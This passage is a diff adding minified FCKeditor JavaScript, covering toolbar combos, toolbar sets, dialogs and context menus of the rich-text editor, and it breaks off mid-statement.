+var FCKToolbarSpecialCombo=function(){this.SourceView=false;this.ContextSensitive=true;this._LastValue=null;};function FCKToolbarSpecialCombo_OnSelect(A,B){FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Execute(A,B);};FCKToolbarSpecialCombo.prototype.Create=function(A){this._Combo=new FCKSpecialCombo(this.GetLabel(),this.FieldWidth,this.PanelWidth,this.PanelMaxHeight,FCKBrowserInfo.IsIE?window:FCKTools.GetElementWindow(A).parent);this._Combo.Tooltip=this.Tooltip;this._Combo.Style=this.Style;this.CreateItems(this._Combo);this._Combo.Create(A);this._Combo.CommandName=this.CommandName;this._Combo.OnSelect=FCKToolbarSpecialCombo_OnSelect;};function FCKToolbarSpecialCombo_RefreshActiveItems(A,B){A.DeselectAll();A.SelectItem(B);A.SetLabelById(B);};FCKToolbarSpecialCombo.prototype.RefreshState=function(){var A;var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (B!=-1){A=1;if (this.RefreshActiveItems) this.RefreshActiveItems(this._Combo,B);else{if (this._LastValue!=B){this._LastValue=B;FCKToolbarSpecialCombo_RefreshActiveItems(this._Combo,B);}}}else A=-1;if (A==this.State) return;if (A==-1){this._Combo.DeselectAll();this._Combo.SetLabel('');};this.State=A;this._Combo.SetEnabled(A!=-1);};FCKToolbarSpecialCombo.prototype.Enable=function(){this.RefreshState();};FCKToolbarSpecialCombo.prototype.Disable=function(){this.State=-1;this._Combo.DeselectAll();this._Combo.SetLabel('');this._Combo.SetEnabled(false);};
+var FCKToolbarFontsCombo=function(A,B){this.CommandName='FontName';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarFontsCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontsCombo.prototype.GetLabel=function(){return FCKLang.Font;};FCKToolbarFontsCombo.prototype.CreateItems=function(A){var B=FCKConfig.FontNames.split(';');for (var i=0;i<B.length;i++) this._Combo.AddItem(B[i],'<font face="'+B[i]+'" style="font-size: 12px">'+B[i]+'</font>');}
+var FCKToolbarFontSizeCombo=function(A,B){this.CommandName='FontSize';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarFontSizeCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontSizeCombo.prototype.GetLabel=function(){return FCKLang.FontSize;};FCKToolbarFontSizeCombo.prototype.CreateItems=function(A){A.FieldWidth=70;var B=FCKConfig.FontSizes.split(';');for (var i=0;i<B.length;i++){var C=B[i].split('/');this._Combo.AddItem(C[0],'<font size="'+C[0]+'">'+C[1]+'</font>',C[1]);}}
+var FCKToolbarFontFormatCombo=function(A,B){this.CommandName='FontFormat';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;this.NormalLabel='Normal';this.PanelWidth=190;};FCKToolbarFontFormatCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontFormatCombo.prototype.GetLabel=function(){return FCKLang.FontFormat;};FCKToolbarFontFormatCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) B.body.id=FCKConfig.BodyId;if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) B.body.className+=' '+FCKConfig.BodyClass;var C=FCKLang['FontFormats'].split(';');var D={p:C[0],pre:C[1],address:C[2],h1:C[3],h2:C[4],h3:C[5],h4:C[6],h5:C[7],h6:C[8],div:C[9]};var E=FCKConfig.FontFormats.split(';');for (var i=0;i<E.length;i++){var F=E[i];var G=D[F];if (F=='p') this.NormalLabel=G;this._Combo.AddItem(F,'<div class="BaseFont"><'+F+'>'+G+'</'+F+'></div>',G);}};if (FCKBrowserInfo.IsIE){FCKToolbarFontFormatCombo.prototype.RefreshActiveItems=function(A,B){if (B==this.NormalLabel){if (A.Label!='&nbsp;') A.DeselectAll(true);}else{if (this._LastValue==B) return;A.SelectItemByLabel(B,true);};this._LastValue=B;}}
+var FCKToolbarStyleCombo=function(A,B){this.CommandName='Style';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarStyleCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarStyleCombo.prototype.GetLabel=function(){return FCKLang.Style;};FCKToolbarStyleCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);B.body.className+=' ForceBaseFont';if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) B.body.id=FCKConfig.BodyId;if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) B.body.className+=' '+FCKConfig.BodyClass;if (!(FCKBrowserInfo.IsGecko&&FCKBrowserInfo.IsGecko10)) A.OnBeforeClick=this.RefreshVisibleItems;var C=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Styles;for (var s in C){var D=C[s];var E;if (D.IsObjectElement) E=A.AddItem(s,s);else E=A.AddItem(s,D.GetOpenerTag()+s+D.GetCloserTag());E.Style=D;}};FCKToolbarStyleCombo.prototype.RefreshActiveItems=function(A){A.DeselectAll();var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetActiveStyles();if (B.length>0){for (var i=0;i<B.length;i++) A.SelectItem(B[i].Name);A.SetLabelById(B[0].Name);}else A.SetLabel('');};FCKToolbarStyleCombo.prototype.RefreshVisibleItems=function(A){if (FCKSelection.GetType()=='Control') var B=FCKSelection.GetSelectedElement().tagName;for (var i in A.Items){var C=A.Items[i];if ((B&&C.Style.Element==B)||(!B&&!C.Style.IsObjectElement)) C.style.display='';else C.style.display='none';}}
+var FCKToolbarPanelButton=function(A,B,C,D,E){this.CommandName=A;var F;if (E==null) F=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(E)=='number') F=[FCKConfig.SkinPath+'fck_strip.gif',16,E];var G=this._UIButton=new FCKToolbarButtonUI(A,B,C,F,D);G._FCKToolbarPanelButton=this;G.ShowArrow=true;G.OnClick=FCKToolbarPanelButton_OnButtonClick;};FCKToolbarPanelButton.prototype.TypeName='FCKToolbarPanelButton';FCKToolbarPanelButton.prototype.Create=function(A){A.className+='Menu';this._UIButton.Create(A);var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName)._Panel;B._FCKToolbarPanelButton=this;var C=B.Document.body.appendChild(B.Document.createElement('div'));C.style.position='absolute';C.style.top='0px';var D=this.LineImg=C.appendChild(B.Document.createElement('IMG'));D.className='TB_ConnectionLine';D.src=FCK_SPACER_PATH;B.OnHide=FCKToolbarPanelButton_OnPanelHide;};function FCKToolbarPanelButton_OnButtonClick(A){var B=this._FCKToolbarPanelButton;var e=B._UIButton.MainElement;B._UIButton.ChangeState(1);B.LineImg.style.width=(e.offsetWidth-2)+'px';FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(B.CommandName).Execute(0,e.offsetHeight-1,e);};function FCKToolbarPanelButton_OnPanelHide(){var A=this._FCKToolbarPanelButton;A._UIButton.ChangeState(0);};FCKToolbarPanelButton.prototype.RefreshState=FCKToolbarButton.prototype.RefreshState;FCKToolbarPanelButton.prototype.Enable=FCKToolbarButton.prototype.Enable;FCKToolbarPanelButton.prototype.Disable=FCKToolbarButton.prototype.Disable;
+var FCKToolbarItems={};FCKToolbarItems.LoadedItems={};FCKToolbarItems.RegisterItem=function(A,B){this.LoadedItems[A]=B;};FCKToolbarItems.GetItem=function(A){var B=FCKToolbarItems.LoadedItems[A];if (B) return B;switch (A){case 'Source':B=new FCKToolbarButton('Source',FCKLang.Source,null,2,true,true,1);break;case 'DocProps':B=new FCKToolbarButton('DocProps',FCKLang.DocProps,null,null,null,null,2);break;case 'Save':B=new FCKToolbarButton('Save',FCKLang.Save,null,null,true,null,3);break;case 'NewPage':B=new FCKToolbarButton('NewPage',FCKLang.NewPage,null,null,true,null,4);break;case 'Preview':B=new FCKToolbarButton('Preview',FCKLang.Preview,null,null,true,null,5);break;case 'Templates':B=new FCKToolbarButton('Templates',FCKLang.Templates,null,null,null,null,6);break;case 'About':B=new FCKToolbarButton('About',FCKLang.About,null,null,true,null,47);break;case 'Cut':B=new FCKToolbarButton('Cut',FCKLang.Cut,null,null,false,true,7);break;case 'Copy':B=new FCKToolbarButton('Copy',FCKLang.Copy,null,null,false,true,8);break;case 'Paste':B=new FCKToolbarButton('Paste',FCKLang.Paste,null,null,false,true,9);break;case 'PasteText':B=new FCKToolbarButton('PasteText',FCKLang.PasteText,null,null,false,true,10);break;case 'PasteWord':B=new FCKToolbarButton('PasteWord',FCKLang.PasteWord,null,null,false,true,11);break;case 'Print':B=new FCKToolbarButton('Print',FCKLang.Print,null,null,false,true,12);break;case 'SpellCheck':B=new FCKToolbarButton('SpellCheck',FCKLang.SpellCheck,null,null,null,null,13);break;case 'Undo':B=new FCKToolbarButton('Undo',FCKLang.Undo,null,null,false,true,14);break;case 'Redo':B=new FCKToolbarButton('Redo',FCKLang.Redo,null,null,false,true,15);break;case 'SelectAll':B=new FCKToolbarButton('SelectAll',FCKLang.SelectAll,null,null,null,null,18);break;case 'RemoveFormat':B=new FCKToolbarButton('RemoveFormat',FCKLang.RemoveFormat,null,null,false,true,19);break;case 'FitWindow':B=new FCKToolbarButton('FitWindow',FCKLang.FitWindow,null,null,true,true,66);break;case 'Bold':B=new FCKToolbarButton('Bold',FCKLang.Bold,null,null,false,true,20);break;case 'Italic':B=new FCKToolbarButton('Italic',FCKLang.Italic,null,null,false,true,21);break;case 'Underline':B=new FCKToolbarButton('Underline',FCKLang.Underline,null,null,false,true,22);break;case 'StrikeThrough':B=new FCKToolbarButton('StrikeThrough',FCKLang.StrikeThrough,null,null,false,true,23);break;case 'Subscript':B=new FCKToolbarButton('Subscript',FCKLang.Subscript,null,null,false,true,24);break;case 'Superscript':B=new FCKToolbarButton('Superscript',FCKLang.Superscript,null,null,false,true,25);break;case 'OrderedList':B=new FCKToolbarButton('InsertOrderedList',FCKLang.NumberedListLbl,FCKLang.NumberedList,null,false,true,26);break;case 'UnorderedList':B=new FCKToolbarButton('InsertUnorderedList',FCKLang.BulletedListLbl,FCKLang.BulletedList,null,false,true,27);break;case 'Outdent':B=new FCKToolbarButton('Outdent',FCKLang.DecreaseIndent,null,null,false,true,28);break;case 'Indent':B=new FCKToolbarButton('Indent',FCKLang.IncreaseIndent,null,null,false,true,29);break;case 'Link':B=new FCKToolbarButton('Link',FCKLang.InsertLinkLbl,FCKLang.InsertLink,null,false,true,34);break;case 'Unlink':B=new FCKToolbarButton('Unlink',FCKLang.RemoveLink,null,null,false,true,35);break;case 'Anchor':B=new FCKToolbarButton('Anchor',FCKLang.Anchor,null,null,null,null,36);break;case 'Image':B=new FCKToolbarButton('Image',FCKLang.InsertImageLbl,FCKLang.InsertImage,null,false,true,37);break;case 'Flash':B=new FCKToolbarButton('Flash',FCKLang.InsertFlashLbl,FCKLang.InsertFlash,null,false,true,38);break;case 'Table':B=new FCKToolbarButton('Table',FCKLang.InsertTableLbl,FCKLang.InsertTable,null,false,true,39);break;case 'SpecialChar':B=new FCKToolbarButton('SpecialChar',FCKLang.InsertSpecialCharLbl,FCKLang.InsertSpecialChar,null,false,true,42);break;case 'Smiley':B=new FCKToolbarButton('Smiley',FCKLang.InsertSmileyLbl,FCKLang.InsertSmiley,null,false,true,41);break;case 'PageBreak':B=new FCKToolbarButton('PageBreak',FCKLang.PageBreakLbl,FCKLang.PageBreak,null,false,true,43);break;case 'Rule':B=new FCKToolbarButton('InsertHorizontalRule',FCKLang.InsertLineLbl,FCKLang.InsertLine,null,false,true,40);break;case 'JustifyLeft':B=new FCKToolbarButton('JustifyLeft',FCKLang.LeftJustify,null,null,false,true,30);break;case 'JustifyCenter':B=new FCKToolbarButton('JustifyCenter',FCKLang.CenterJustify,null,null,false,true,31);break;case 'JustifyRight':B=new FCKToolbarButton('JustifyRight',FCKLang.RightJustify,null,null,false,true,32);break;case 'JustifyFull':B=new FCKToolbarButton('JustifyFull',FCKLang.BlockJustify,null,null,false,true,33);break;case 'Style':B=new FCKToolbarStyleCombo();break;case 'FontName':B=new FCKToolbarFontsCombo();break;case 'FontSize':B=new FCKToolbarFontSizeCombo();break;case 'FontFormat':B=new FCKToolbarFontFormatCombo();break;case 'TextColor':B=new FCKToolbarPanelButton('TextColor',FCKLang.TextColor,null,null,45);break;case 'BGColor':B=new FCKToolbarPanelButton('BGColor',FCKLang.BGColor,null,null,46);break;case 'Find':B=new FCKToolbarButton('Find',FCKLang.Find,null,null,null,null,16);break;case 'Replace':B=new FCKToolbarButton('Replace',FCKLang.Replace,null,null,null,null,17);break;case 'Form':B=new FCKToolbarButton('Form',FCKLang.Form,null,null,null,null,48);break;case 'Checkbox':B=new FCKToolbarButton('Checkbox',FCKLang.Checkbox,null,null,null,null,49);break;case 'Radio':B=new FCKToolbarButton('Radio',FCKLang.RadioButton,null,null,null,null,50);break;case 'TextField':B=new FCKToolbarButton('TextField',FCKLang.TextField,null,null,null,null,51);break;case 'Textarea':B=new FCKToolbarButton('Textarea',FCKLang.Textarea,null,null,null,null,52);break;case 'HiddenField':B=new FCKToolbarButton('HiddenField',FCKLang.HiddenField,null,null,null,null,56);break;case 'Button':B=new FCKToolbarButton('Button',FCKLang.Button,null,null,null,null,54);break;case 'Select':B=new FCKToolbarButton('Select',FCKLang.SelectionField,null,null,null,null,53);break;case 'ImageButton':B=new FCKToolbarButton('ImageButton',FCKLang.ImageButton,null,null,null,null,55);break;default:alert(FCKLang.UnknownToolbarItem.replace(/%1/g,A));return null;};FCKToolbarItems.LoadedItems[A]=B;return B;}
+var FCKToolbar=function(){this.Items=[];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbar_Cleanup);};FCKToolbar.prototype.AddItem=function(A){return this.Items[this.Items.length]=A;};FCKToolbar.prototype.AddButton=function(A,B,C,D,E,F){if (typeof(D)=='number') D=[this.DefaultIconsStrip,this.DefaultIconSize,D];var G=new FCKToolbarButtonUI(A,B,C,D,E,F);G._FCKToolbar=this;G.OnClick=FCKToolbar_OnItemClick;return this.AddItem(G);};function FCKToolbar_OnItemClick(A){var B=A._FCKToolbar;if (B.OnItemClick) B.OnItemClick(B,A);};FCKToolbar.prototype.AddSeparator=function(){this.AddItem(new FCKToolbarSeparator());};FCKToolbar.prototype.Create=function(A){if (this.MainElement){if (this.MainElement.parentNode) this.MainElement.parentNode.removeChild(this.MainElement);this.MainElement=null;};var B=FCKTools.GetElementDocument(A);var e=this.MainElement=B.createElement('table');e.className='TB_Toolbar';e.style.styleFloat=e.style.cssFloat=(FCKLang.Dir=='ltr'?'left':'right');e.dir=FCKLang.Dir;e.cellPadding=0;e.cellSpacing=0;this.RowElement=e.insertRow(-1);var C;if (!this.HideStart){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_Start';};for (var i=0;i<this.Items.length;i++){this.Items[i].Create(this.RowElement.insertCell(-1));};if (!this.HideEnd){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_End';};A.appendChild(e);};function FCKToolbar_Cleanup(){this.MainElement=null;this.RowElement=null;};var FCKToolbarSeparator=function(){};FCKToolbarSeparator.prototype.Create=function(A){FCKTools.AppendElement(A,'div').className='TB_Separator';}
+var FCKToolbarBreak=function(){};FCKToolbarBreak.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A).createElement('div');B.className='TB_Break';B.style.clear=FCKLang.Dir=='rtl'?'left':'right';A.appendChild(B);}
+function FCKToolbarSet_Create(A){var B;var C=A||FCKConfig.ToolbarLocation;switch (C){case 'In':document.getElementById('xToolbarRow').style.display='';B=new FCKToolbarSet(document);break;default:FCK.Events.AttachEvent('OnBlur',FCK_OnBlur);FCK.Events.AttachEvent('OnFocus',FCK_OnFocus);var D;var E=C.match(/^Out:(.+)\((\w+)\)$/);if (E){D=eval('parent.'+E[1]).document.getElementById(E[2]);}else{E=C.match(/^Out:(\w+)$/);if (E) D=parent.document.getElementById(E[1]);};if (!D){alert('Invalid value for "ToolbarLocation"');return this._Init('In');};B=D.__FCKToolbarSet;if (B) break;var F=FCKTools.GetElementDocument(D).createElement('iframe');F.frameBorder=0;F.width='100%';F.height='10';D.appendChild(F);F.unselectable='on';var G=F.contentWindow.document;G.open();G.write('<html><head><script type="text/javascript"> window.onload = window.onresize = function() { window.frameElement.height = document.body.scrollHeight ; } </script></head><body style="overflow: hidden">'+document.getElementById('xToolbarSpace').innerHTML+'</body></html>');G.close();G.oncontextmenu=FCKTools.CancelEvent;FCKTools.AppendStyleSheet(G,FCKConfig.SkinPath+'fck_editor.css');B=D.__FCKToolbarSet=new FCKToolbarSet(G);B._IFrame=F;if (FCK.IECleanup) FCK.IECleanup.AddItem(D,FCKToolbarSet_Target_Cleanup);};B.CurrentInstance=FCK;FCK.AttachToOnSelectionChange(B.RefreshItemsState);return B;};function FCK_OnBlur(A){var B=A.ToolbarSet;if (B.CurrentInstance==A) B.Disable();};function FCK_OnFocus(A){var B=A.ToolbarSet;var C=A||FCK;B.CurrentInstance.FocusManager.RemoveWindow(B._IFrame.contentWindow);B.CurrentInstance=C;C.FocusManager.AddWindow(B._IFrame.contentWindow,true);B.Enable();};function FCKToolbarSet_Cleanup(){this._TargetElement=null;this._IFrame=null;};function FCKToolbarSet_Target_Cleanup(){this.__FCKToolbarSet=null;};var FCKToolbarSet=function(A){this._Document=A;this._TargetElement=A.getElementById('xToolbar');var B=A.getElementById('xExpandHandle');var C=A.getElementById('xCollapseHandle');B.title=FCKLang.ToolbarExpand;B.onclick=FCKToolbarSet_Expand_OnClick;C.title=FCKLang.ToolbarCollapse;C.onclick=FCKToolbarSet_Collapse_OnClick;if (!FCKConfig.ToolbarCanCollapse||FCKConfig.ToolbarStartExpanded) this.Expand();else this.Collapse();C.style.display=FCKConfig.ToolbarCanCollapse?'':'none';if (FCKConfig.ToolbarCanCollapse) C.style.display='';else A.getElementById('xTBLeftBorder').style.display='';this.Toolbars=[];this.IsLoaded=false;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarSet_Cleanup);};function FCKToolbarSet_Expand_OnClick(){FCK.ToolbarSet.Expand();};function FCKToolbarSet_Collapse_OnClick(){FCK.ToolbarSet.Collapse();};FCKToolbarSet.prototype.Expand=function(){this._ChangeVisibility(false);};FCKToolbarSet.prototype.Collapse=function(){this._ChangeVisibility(true);};FCKToolbarSet.prototype._ChangeVisibility=function(A){this._Document.getElementById('xCollapsed').style.display=A?'':'none';this._Document.getElementById('xExpanded').style.display=A?'none':'';if (FCKBrowserInfo.IsGecko){FCKTools.RunFunction(window.onresize);}};FCKToolbarSet.prototype.Load=function(A){this.Name=A;this.Items=[];this.ItemsWysiwygOnly=[];this.ItemsContextSensitive=[];this._TargetElement.innerHTML='';var B=FCKConfig.ToolbarSets[A];if (!B){alert(FCKLang.UnknownToolbarSet.replace(/%1/g,A));return;};this.Toolbars=[];for (var x=0;x<B.length;x++){var C=B[x];var D;if (typeof(C)=='string'){if (C=='/') D=new FCKToolbarBreak();}else{D=new FCKToolbar();for (var j=0;j<C.length;j++){var E=C[j];if (E=='-') D.AddSeparator();else{var F=FCKToolbarItems.GetItem(E);if (F){D.AddItem(F);this.Items.push(F);if (!F.SourceView) this.ItemsWysiwygOnly.push(F);if (F.ContextSensitive) this.ItemsContextSensitive.push(F);}}}};D.Create(this._TargetElement);this.Toolbars[this.Toolbars.length]=D;};FCKTools.DisableSelection(this._Document.getElementById('xCollapseHandle').parentNode);if (FCK.Status!=2) FCK.Events.AttachEvent('OnStatusChange',this.RefreshModeState);else this.RefreshModeState();this.IsLoaded=true;this.IsEnabled=true;FCKTools.RunFunction(this.OnLoad);};FCKToolbarSet.prototype.Enable=function(){if (this.IsEnabled) return;this.IsEnabled=true;var A=this.Items;for (var i=0;i<A.length;i++) A[i].RefreshState();};FCKToolbarSet.prototype.Disable=function(){if (!this.IsEnabled) return;this.IsEnabled=false;var A=this.Items;for (var i=0;i<A.length;i++) A[i].Disable();};FCKToolbarSet.prototype.RefreshModeState=function(A){if (FCK.Status!=2) return;var B=A?A.ToolbarSet:this;var C=B.ItemsWysiwygOnly;if (FCK.EditMode==0){for (var i=0;i<C.length;i++) C[i].Enable();B.RefreshItemsState(A);}else{B.RefreshItemsState(A);for (var j=0;j<C.length;j++) C[j].Disable();}};FCKToolbarSet.prototype.RefreshItemsState=function(A){var B=(A?A.ToolbarSet:this).ItemsContextSensitive;for (var i=0;i<B.length;i++) B[i].RefreshState();};
+var FCKDialog={};FCKDialog.OpenDialog=function(A,B,C,D,E,F,G,H){var I={};I.Title=B;I.Page=C;I.Editor=window;I.CustomValue=F;var J=FCKConfig.BasePath+'fckdialog.html';this.Show(I,A,J,D,E,G,H);};
+FCKDialog.Show=function(A,B,C,D,E,F,G){if (!F) F=window;var H='help:no;scroll:no;status:no;resizable:'+(G?'yes':'no')+';dialogWidth:'+D+'px;dialogHeight:'+E+'px';FCKFocusManager.Lock();var I='B';try{I=F.showModalDialog(C,A,H);}catch(e) {};if ('B'===I) alert(FCKLang.DialogBlocked);FCKFocusManager.Unlock();};
+var FCKMenuItem=function(A,B,C,D,E){this.Name=B;this.Label=C||B;this.IsDisabled=E;this.Icon=new FCKIcon(D);this.SubMenu=new FCKMenuBlockPanel();this.SubMenu.Parent=A;this.SubMenu.OnClick=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnClick,this);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuItem_Cleanup);};FCKMenuItem.prototype.AddItem=function(A,B,C,D){this.HasSubMenu=true;return this.SubMenu.AddItem(A,B,C,D);};FCKMenuItem.prototype.AddSeparator=function(){this.SubMenu.AddSeparator();};FCKMenuItem.prototype.Create=function(A){var B=this.HasSubMenu;var C=FCKTools.GetElementDocument(A);var r=this.MainElement=A.insertRow(-1);r.className=this.IsDisabled?'MN_Item_Disabled':'MN_Item';if (!this.IsDisabled){FCKTools.AddEventListenerEx(r,'mouseover',FCKMenuItem_OnMouseOver,[this]);FCKTools.AddEventListenerEx(r,'click',FCKMenuItem_OnClick,[this]);if (!B) FCKTools.AddEventListenerEx(r,'mouseout',FCKMenuItem_OnMouseOut,[this]);};var D=r.insertCell(-1);D.className='MN_Icon';D.appendChild(this.Icon.CreateIconElement(C));D=r.insertCell(-1);D.className='MN_Label';D.noWrap=true;D.appendChild(C.createTextNode(this.Label));D=r.insertCell(-1);if (B){D.className='MN_Arrow';var E=D.appendChild(C.createElement('IMG'));E.src=FCK_IMAGES_PATH+'arrow_'+FCKLang.Dir+'.gif';E.width=4;E.height=7;this.SubMenu.Create();this.SubMenu.Panel.OnHide=FCKTools.CreateEventListener(FCKMenuItem_SubMenu_OnHide,this);}};FCKMenuItem.prototype.Activate=function(){this.MainElement.className='MN_Item_Over';if (this.HasSubMenu){this.SubMenu.Show(this.MainElement.offsetWidth+2,-2,this.MainElement);};FCKTools.RunFunction(this.OnActivate,this);};FCKMenuItem.prototype.Deactivate=function(){this.MainElement.className='MN_Item';if (this.HasSubMenu) this.SubMenu.Hide();};function FCKMenuItem_SubMenu_OnClick(A,B){FCKTools.RunFunction(B.OnClick,B,[A]);};function FCKMenuItem_SubMenu_OnHide(A){A.Deactivate();};function FCKMenuItem_OnClick(A,B){if (B.HasSubMenu) B.Activate();else{B.Deactivate();FCKTools.RunFunction(B.OnClick,B,[B]);}};function FCKMenuItem_OnMouseOver(A,B){B.Activate();};function FCKMenuItem_OnMouseOut(A,B){B.Deactivate();};function FCKMenuItem_Cleanup(){this.MainElement=null;}
+var FCKMenuBlock=function(){this._Items=[];};FCKMenuBlock.prototype.Count=function(){return this._Items.length;};FCKMenuBlock.prototype.AddItem=function(A,B,C,D){var E=new FCKMenuItem(this,A,B,C,D);E.OnClick=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnClick,this);E.OnActivate=FCKTools.CreateEventListener(FCKMenuBlock_Item_OnActivate,this);this._Items.push(E);return E;};FCKMenuBlock.prototype.AddSeparator=function(){this._Items.push(new FCKMenuSeparator());};FCKMenuBlock.prototype.RemoveAllItems=function(){this._Items=[];var A=this._ItemsTable;if (A){while (A.rows.length>0) A.deleteRow(0);}};FCKMenuBlock.prototype.Create=function(A){if (!this._ItemsTable){if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKMenuBlock_Cleanup);this._Window=FCKTools.GetElementWindow(A);var B=FCKTools.GetElementDocument(A);var C=A.appendChild(B.createElement('table'));C.cellPadding=0;C.cellSpacing=0;FCKTools.DisableSelection(C);var D=C.insertRow(-1).insertCell(-1);D.className='MN_Menu';var E=this._ItemsTable=D.appendChild(B.createElement('table'));E.cellPadding=0;E.cellSpacing=0;};for (var i=0;i<this._Items.length;i++) this._Items[i].Create(this._ItemsTable);};function FCKMenuBlock_Item_OnClick(A,B){FCKTools.RunFunction(B.OnClick,B,[A]);};function FCKMenuBlock_Item_OnActivate(A){var B=A._ActiveItem;if (B&&B!=this){if (!FCKBrowserInfo.IsIE&&B.HasSubMenu&&!this.HasSubMenu) A._Window.focus();B.Deactivate();};A._ActiveItem=this;};function FCKMenuBlock_Cleanup(){this._Window=null;this._ItemsTable=null;};var FCKMenuSeparator=function(){};FCKMenuSeparator.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var r=A.insertRow(-1);var C=r.insertCell(-1);C.className='MN_Separator MN_Icon';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';C=r.insertCell(-1);C.className='MN_Separator';C.appendChild(B.createElement('DIV')).className='MN_Separator_Line';}
+var FCKMenuBlockPanel=function(){FCKMenuBlock.call(this);};FCKMenuBlockPanel.prototype=new FCKMenuBlock();FCKMenuBlockPanel.prototype.Create=function(){var A=this.Panel=(this.Parent&&this.Parent.Panel?this.Parent.Panel.CreateChildPanel():new FCKPanel());A.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');FCKMenuBlock.prototype.Create.call(this,A.MainNode);};FCKMenuBlockPanel.prototype.Show=function(x,y,A){if (!this.Panel.CheckIsOpened()) this.Panel.Show(x,y,A);};FCKMenuBlockPanel.prototype.Hide=function(){if (this.Panel.CheckIsOpened()) this.Panel.Hide();}
+var FCKContextMenu=function(A,B){var C=this._Panel=new FCKPanel(A,true);C.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');C.IsContextMenu=true;var D=this._MenuBlock=new FCKMenuBlock();D.Panel=C;D.OnClick=FCKTools.CreateEventListener(FCKContextMenu_MenuBlock_OnClick,this);this._Redraw=true;};FCKContextMenu.prototype.SetMouseClickWindow=function(A){if (!FCKBrowserInfo.IsIE){this._Document=A.document;this._Document.addEventListener('contextmenu',FCKContextMenu_Document_OnContextMenu,false);}};FCKContextMenu.prototype.AddItem=function(A,B,C,D){var E=this._MenuBlock.AddItem(A,B,C,D);this._Redraw=true;return E;};FCKContextMenu.prototype.AddSeparator=function(){this._MenuBlock.AddSeparator();this._Redraw=true;};FCKContextMenu.prototype.RemoveAllItems=function(){this._MenuBlock.RemoveAllItems();this._Redraw=true;};FCKContextMenu.prototype.AttachToElement=function(A){if (FCKBrowserInfo.IsIE) FCKTools.AddEventListenerEx(A,'contextmenu',FCKContextMenu_AttachedElement_OnContextMenu,this);else A._FCKContextMenu=this;};function FCKContextMenu_Document_OnContextMenu(e){var A=e.target;while (A){if (A._FCKContextMenu){FCKTools.CancelEvent(e);FCKContextMenu_AttachedElement_OnContextMenu(e,A._FCKContextMenu,A);};A=A.parentNode;}};function FCKContextMenu_AttachedElement_OnContextMenu(A,B,C){var D=C||this;if (B.OnBeforeOpen) B.OnBeforeOpen.call(B,D);if (B._MenuBlock.Count()==0) return false;if (B._Redraw){B._MenuBlock.Create(B._Panel.MainNode);B._Redraw=false;};B._Panel.Show(A.pageX||A.screenX,A.pageY||A.screenY,A.currentTarget||null);return false;};function FCKContextMenu_MenuBlock_OnClick(A,B){B._Panel.Hide();FCKTools.RunFunction(B.OnItemClick,B,A);}
+FCK.ContextMenu={};FCK.ContextMenu.Listeners=[];FCK.ContextMenu.RegisterListener=function(A){if (A) this.Listeners.push(A);};function FCK_ContextMenu_Init(){var A=FCK.ContextMenu._InnerContextMenu=new FCKContextMenu(FCKBrowserInfo.IsIE?window:window.parent,FCKLang.Dir);A.OnBeforeOpen=FCK_ContextMenu_OnBeforeOpen;A.OnItemClick=FCK_ContextMenu_OnItemClick;var B=FCK.ContextMenu;for (var i=0;i<FCKConfig.ContextMenu.length;i++) B.RegisterListener(FCK_ContextMenu_GetListener(FCKConfig.ContextMenu[i]));};function FCK_ContextMenu_GetListener(A){switch (A){case 'Generic':return {AddItems:function(menu,tag,tagName){menu.AddItem('Cut',FCKLang.Cut,7,FCKCommands.GetCommand('Cut').GetState()==-1);menu.AddItem('Copy',FCKLang.Copy,8,FCKCommands.GetCommand('Copy').GetState()==-1);menu.AddItem('Paste',FCKLang.Paste,9,FCKCommands.GetCommand('Paste').GetState()==-1);}};case 'Table':return {AddItems:function(menu,tag,tagName){var B=(tagName=='TABLE');var C=(!B&&FCKSelection.HasAncestorNode('TABLE'));if (C){menu.AddSeparator();var 